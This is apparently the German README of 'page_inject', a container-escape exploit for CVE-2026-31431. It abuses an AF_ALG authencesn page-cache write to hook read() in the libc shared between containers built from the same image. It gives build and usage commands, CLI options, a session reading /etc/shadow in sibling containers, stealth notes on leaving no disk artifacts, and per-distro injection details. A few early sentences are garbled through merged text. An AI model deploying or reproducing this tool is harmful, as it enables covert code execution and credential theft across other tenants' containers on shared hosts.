
CVE-2026-31431-killed Page-Cache-Exploit — Code-Ausführung in Container, die dieselbe Image-Ebene teilen
AF_ALG aead-Schwachstellen-Exploit für Containerflucht – pivotiere von einem kompromittierten Container in jeden anderen Container, der dieselbe libc.so.6-Ebene des Images nutzt.
Hierbei handelt es sich um ein Escape-Primitiv: Es wird von innerhalb eines unprivilegierten Containers ausgeführt, den der Angreifer bereits kompromittiert hat, und nutzt den AF_ALG authencesn-ESN-Rotationsfehler (4-Byte-Arbitrary-Write, CVE-2026-31431), um einen persistenten read()-Hook in den Page-Cache-Seiten von libc.so.6 zu platzieren. Da Docker/containerd die unteren Layer von OverlayFS mit gemeinsamen Inodes bereitstellen, sind diese Seiten für jeden anderen Container sichtbar, der aus demselben Image erstellt wurde – der Hook feuert auch in deren Prozessen, und der Angreifer erhält Befehlsausführung in jedem dieser Container.
victim) auf einem Host, der andere Container () aus dem wie ausführt.siblingsvictimvictim läuft mit der Standard-Docker/k8s-Konfiguration: unprivilegierte UID innerhalb des Container-Benutzernamensraums, Standard-Seccomp-Profil, Standard-AppArmor-Profil, keine speziellen Capabilities, keine Host-Bind-Mounts.victim hat nur:
/usr/lib/x86_64-linux-gnu/libc.so.6 oder dort, wo die Distribution sie installiert)socket(AF_ALG, ...)-Syscall-Familiesplice/vmsplice-Syscallschmod +x versehen kann (z. B. /tmp)algif_aead + authencesn-Builds vor dem Upstream-Revert-Fix).Das ist alles. Kein spezielles CAP_*, kein Zugriff auf das Host-Dateisystem. Der Angreifer lädt eine statisch gelinkte, in sich geschlossene Binärdatei in den Container, führt sie aus, und die Page-Cache-Korruption – und damit der Hook – wird für jeden anderen Container sichtbar.
Page-Cache-Seitenidentität. Innerhalb eines OverlayFS-Containers wird /usr/lib/.../libc.so.6 durch den ext4-Inode der unteren Image-Ebene bereitgestellt. Jeder Container, der aus demselben Image gestartet wird, teilt sich diesen zugrunde liegenden Inode, und der Page-Cache des Kernels ist durch den zugrunde liegenden Inode – nicht durch Overlay oder Namespace – indiziert. Ein einzelner 4-Byte-Schreibvorgang in eine Page-Cache-Seite ist daher für alle Prozesse in anderen Containern sichtbar, die diese Seite per mmap eingebunden haben.
AF_ALG aead-Schwachstelle macht aus einem solchen Schreibvorgang viele. algif_aead verknüpft das RX-iov des Benutzers mit den nachfolgenden authsize-Bytes des gesplickten TX-SGL, und die ESN-Rotation von authencesn legt 4 Bytes des seq_high-Feldes des AAD an dst[assoclen + cryptlen] ab – also das erste Byte dieses verketteten fremden Endstücks. Die gesplickte Seite ist eine Page-Cache-Seite einer Datei, auf die der Angreifer nur Lesezugriff hat, aber die Chiffre kopiert trotzdem Bytes hinein, ohne Dirty-Buchführung. (Siehe crypto/algif_aead.c und crypto/authencesn.c für die zugrunde liegende Mechanik.)
Aufbau eines aufrufbaren Primitivs. Als Erstes bootet page_inject Zone A – eine asm-codierte Neuimplementierung derselben AF_ALG-Übung (write_cache.asm), die in die .text-Höhle von libc eingefügt wird. Dadurch wird der 4-Byte-Schreibvorgang zu einem regulären call innerhalb jedes zukünftigen Hook-Payloads, ohne dass pro Aufruf ein Socket aufgebaut werden muss.
Installation des Hooks. Der Injektor schreibt dann Zone C (zone_c.asm) in die .text-Höhle von libc und patcht die ersten 7–12 Bytes von read() mit einem E9 disp32-Sprung darauf. Die verdrängten Bytes des Prologs werden im Fast-Path von Zone C originalgetreu nachgebildet (drei verschiedene glibc-Prologe werden erkannt – siehe „Prologbehandlung" unten). Der Hook ist jetzt live im Page-Cache von libc.
Ausbreitung des Hooks. Jeder andere Container führt Prozesse aus, die ständig read() aufrufen (Logging-Daemons, Healthchecks, cat /etc/hostname, usw.). Beim ersten solchen Aufruf in einem anderen Container springt der gekaperte Prolog in Zone C, welches:
stat("/") den Root-Inode des Containers (eine stabile, pro-Namespace-ID) und verwendet ihn als Slot-Schlüssel des Containers,read()+N zurückkehrt, damit der Aufrufer nichts merkt.
Der ursprüngliche Prozess im anderen Container läuft weiter. Von nun an hat der Angreifer einen Daemon in diesem Container.Befehlskanal. Der Angreifer verwendet dasselbe page_inject-Binary im --shell-Modus, um Befehle in das CMD-Gebiet des Slotbereichs zu schreiben. Der Hook-Kindprozess jedes registrierten anderen Containers pollt, forkt /bin/sh -c <cmd>, erfasst stdout/stderr im OUTPUT-Gebiet, signalisiert Fertigstellung und kehrt zum Pollen zurück. Die Shell zeigt die Ausgabe. Da jeder CMD/OUTPUT-Schreibvorgang ebenfalls durch das Schwachstellenprimitiv läuft, ist keine besondere Berechtigung erforderlich.
Unhook. Wenn fertig, stellt unhook die ursprünglichen Prolog-Bytes von read() wieder her und setzt die Slottabelle zurück; Hook-Kindprozesse sehen bei ihrem nächsten Durchlauf einen leeren Slot und beenden sich selbst. Die Page-Cache-Modifikationen selbst sind sauber (der Kernel hat die geänderten Seiten nie als dirty markiert), sodass sobald alle Container, die libc per mmap eingebunden haben, gestoppt sind, ein drop_caches den Cache vollständig zurücksetzt – es bleibt kein Artefakt auf der Festplatte zurück.
Der Injektor wird außerhalb des Opfer-Containers gebaut – typischerweise auf dem eigenen Entwicklungsrechner des Angreifers –, da die meisten Produktionscontainer-Images keinen Compiler mitliefern. Eine Standard-Linux-x86_64-Entwicklungsumgebung mit gcc (mit -static-Link-Unterstützung) und nasm reicht aus.
make # assembliert .asm-Quellen via gen_arrays.sh, linkt statisches page_inject
make shellcode # erzeugt auch inspizierbare .bin-Flachbinaries
make clean # entfernt generierte Dateien und das Binary
Die Ausgabe ist ein einzelnes statisch gelinktes ELF (./page_inject), das auf jedem modernen x86_64-Linux-Kernel läuft.
Sobald der Angreifer eine Shell auf victim hat, lädt er das Binary in ein beschreibbares Verzeichnis (üblicherweise /tmp):
# innerhalb des kompromittierten Containers, Angreifer-Session
victim$ ./page_inject
Ohne Argumente verwendet page_inject standardmäßig /usr/lib/x86_64-linux-gnu/libc.so.6 (den Post-Merge-Pfad für Debian/Ubuntu). Bei anderen Distributionen befindet sich libc an einem anderen Pfad; entweder explizit angeben oder --root / verwenden, um die integrierte Lookup-Tabelle von der Container-Root aus zu durchsuchen:
# Fedora / Rocky / CentOS
victim$ ./page_inject /usr/lib64/libc.so.6
# Arch
victim$ ./page_inject /usr/lib/libc.so.6
# Auto-Erkennung, unabhängig von der Distribution:
victim$ ./page_inject --root /
Jeder Aufruf bewirkt dasselbe: ELF-Parsing der libc im Container, Installation des Hooks in ihrem Page-Cache, Überwachung der Slottabelle für ca. 30 Sekunden, während sich andere Container registrieren, und einmaliges Ausführen von id gegen den ersten registrierten anderen Container als Korrektheitsprüfung.
Nach dem Bootstrap kann man mit der Befehlsshell auf jeden registrierten anderen Container zugreifen:
victim$ ./page_inject --shell --no-bootstrap
=== page-cache shell ===
Containers (3):
[0] 0x0018598d <- target
[1] 0x001859ab
[2] 0x001859cd
inject:0018598d> exec id
uid=0(root) gid=0(root) groups=0(root)
inject:0018598d> target 0x001859ab
inject:001859ab> exec hostname
1ccd66abee9d
inject:001859ab> exec cat /etc/shadow
root:$6$.....
inject:001859ab> unhook
... read() prologue restored, slot table zeroed ...
unhook entfernt den Hook in allen anderen Containern auf einen Schlag und lässt die Hook-Kindprozesse sich selbst beenden.
Usage: page_inject [OPTIONS] [LIBC_PATH]
Options:
--root <prefix> Auto-resolve libc.so.6 under <prefix> using the
built-in fixed-path lookup table. Inside the
victim container that's normally --root / .
--shell [0xKEY] Drop into interactive command shell after
injection. Optional KEY pre-selects the target.
--no-bootstrap Skip injection (shell-only; hook must already
be live in the page cache).
--timeout SEC Slot monitoring timeout in --shell mode
(default 30 s).
--help, -h Show help.
Default libc (when no --root and no LIBC_PATH given):
/usr/lib/x86_64-linux-gnu/libc.so.6
Verschiedene glibc-Builds lassen unterschiedlich viel Platz in der .text-Höhle zwischen dem ausführbaren LOAD-Segment und dem nächsten schreibgeschützten LOAD. page_inject wählt zur Injektionszeit zwischen zwei Layouts:
Pfad A – nur libc (Standard). Sowohl Zone C als auch Zone A befinden sich in der .text-Höhle von libc. Die Slottabelle + CMD + OUTPUT-Bereiche befinden sich im .hash-Abschnitt von libc – veraltete SysV-Hash-Daten, die ld.so zur Laufzeit nicht liest, da es stattdessen .gnu.hash verwendet. Wenn .hash fehlt (Archs moderne Toolchain), schneidet page_inject den Slot-Region aus dem Ende von .eh_frame_hdr heraus, nachdem es zuerst das fde_count-Feld verkleinert hat, sodass der Unwinder die freigegebenen Bytes nicht mehr als Teil des FDE-Binärsuchindex betrachtet (der Unwinder fällt transparent auf eine lineare Suche von .eh_frame für jede IP zurück, deren FDE früher im abgeschnittenen Bereich lag – LSB-vorgeschriebenes Verhalten).
Pfad B – libc-Trampolin + ld.so-Payload. Einige glibc-Builds verkleinern die libc-Höhle unter die Größe, die für das vollständige Zone-C + Zone-A-Payload erforderlich ist (Ubuntu 24.04 / glibc 2.39 liefert eine 711-Byte-Höhle). In diesem Fall schreibt page_inject ein 36-Byte-Trampolin in die libc-Höhle – es realisiert das Fast-Path-.bss-Schlüssel-Gate innerhalb von libc – und springt im langsamen Pfad auf die Laufzeitbasis von ld.so mittels libcs GOT-Slot für _rtld_global (ein ld.so-seitiges Symbol, das jede glibc privat importiert) und springt in eine Basisregister-Variante von Zone C in der .text-Höhle von ld.so. Die Slottabelle + CMD + OUTPUT + .bss-Schlüssel bleiben alle in libc; die ld.so-seitige Zone C erreicht sie durch rbp + offset, nachdem das Trampolin rbp = libc_base gesetzt hat.
Wenn keines der Layouts passt, lehnt page_inject sauber ab, ohne etwas in libc oder ld.so auf der Festplatte oder im Page-Cache zu schreiben.
read()-PrologbehandlungVerschiedene glibc-Versionen erzeugen unterschiedliche Eröffnungssequenzen in read(). Der Injektor erkennt jede, liest die Bytes zurück, die der Hook verdrängt, und bildet sie im Fast-Path von Zone C nach, sodass read() im Einzelthread-Modus korrekt bei read+N fortgesetzt wird:
| glibc-Bereich | Prolog (nach optionalem endbr64) | Hinweise |
|---|---|---|
| 2.36 / 2.39 | cmpb $0x0, __libc_single_threaded(%rip) | 7 Bytes; nachgebildeter cmpb setzt ZF für das ursprüngliche jne .Lthreaded. |
| 2.43 | push rbp; movsxd rdi,edi; xor r9d,r9d | 7 Bytes; Byte-für-Byte nachgebildet. |
| 2.31 / 2.35 | mov eax, fs:[0x18] | 8 Bytes; Byte-für-Byte nachgebildet (FS-präfigiertes [disp32] ist absolut, nicht RIP-relativ, daher ist die Byte-Kopie originalgetreu). |
Der Fast-Path-Emulationslot in Zone C ist für den längsten bekannten Prolog (8 Bytes) plus den 5-Byte-rel32-Sprung ausgelegt; kürzere Prologe füllen den nachfolgenden Slot-Byte mit einem NOP-Füller, sodass die Slot-Länge konstant ist.
page_inject/
page_inject.c Hauptinjektor: ELF-Parsing, Schwachstellenprimitiv,
Dualpfad-Layoutauswahl, Injizieren + Unhook.
zone_c.asm Hook-Dispatcher-Shellcode für Pfad A.
zone_c_ld.asm Hook-Dispatcher-Shellcode für Pfad B (rbp-Basisvariante).
trampoline.asm 36-Byte-libc-seitiger Stub für Pfad B.
write_cache.asm Zone A (Schwachstellen-Schreibprimitiv-Shellcode).
gen_arrays.sh Assembliert .asm -> asm_bytecode.c.
asm_bytecode.c [generiert] Shellcode-Byte-Arrays.
Makefile Build-System.
Der Exploit wurde Ende-zu-Ende auf den folgenden Container-Snapshot-Distributionen verifiziert. Bei jedem Eintrag wurde page_inject von innerhalb eines Containers injiziert, und der Hook hat in einem anderen Container ausgelöst, der aus demselben Image gestartet wurde; Befehle wurden korrekt über den Page-Cache-Kanal ausgeführt; und der Unhook hat den libc-Seitenzustand sauber wiederhergestellt.
| Image | glibc | Injektionspfad | read()-Prolog | Slot-Region |
|---|---|---|---|---|
debian:bookworm | 2.36 | A | cmpb | .hash |
ubuntu:24.04 | 2.39 | B | cmpb | .hash (libc-seitig, über rbp von ld.so adressiert) |
ubuntu:22.04 | 2.35 | A | TLS-fs | .hash |
fedora:40 | 2.39 | A | cmpb | .hash |
archlinux:latest | 2.43 | A | push-rbp | .eh_frame_hdr (verkürztes Ende) |
page_inject ist absichtlich statisch gelinkt, damit der eigene Prozess des Angreifers nicht von dem von ihm installierten Hook beeinflusst wird.page_inject erkennt eine „bereits gehookte" libc (E9 + NOPs am read()-Prolog) und weigert sich, erneut zu injizieren. Wenn Sie sich in einer Testumgebung befinden und Ihr Page-Cache in diesem Zustand feststeckt, stoppen Sie alle Container, die das Image verwenden, und setzen Sie mit drop_caches zurück.